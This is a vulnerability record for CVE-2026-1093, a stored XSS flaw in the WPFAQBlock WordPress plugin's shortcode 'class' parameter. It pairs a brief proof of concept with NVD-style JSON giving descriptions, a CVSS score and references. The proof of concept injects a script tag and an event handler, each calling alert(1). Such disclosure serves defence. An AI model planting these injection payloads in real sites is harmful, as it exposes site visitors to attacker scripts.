CVE-2026-1093

<!-- PoC for CVE-2026-1093 Stored XSS --> <!-- Usage: Add the following shortcode to a WordPress post or page --> [wpfaqblock class='"><script>alert(1)</script>'] <!-- Alternatively, if quotes are not escaped, use event handlers --> [wpfaqblock class=' onmouseover=alert(1) '] <!-- Explanation: The 'class' parameter is not sanitized, allowing injection of arbitrary script tags or event handlers. -->

{"cve": {"id": "CVE-2026-1093", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:51.683", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPFAQBlock– FAQ & Accordion Plugin For Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'wpfaqblock' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WPFAQBlock– FAQ &amp; Accordion Plugin For Gutenberg para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'class' del shortcode 'wpfaqblock' en todas las versiones hasta la 1.1, inclusive, debido a una sanitización de entrada insuficiente y un escape de salida inadecuado en los atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpfaqblock/tags/1.1/includes/templates/template-1.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpfaqblock/trunk/includes/templates/template-1.php#L10", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wpfaqblock/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3a3147b5-0362-4299-8339-655eaade948e?source=cve", "source": "[email protected]"}]}}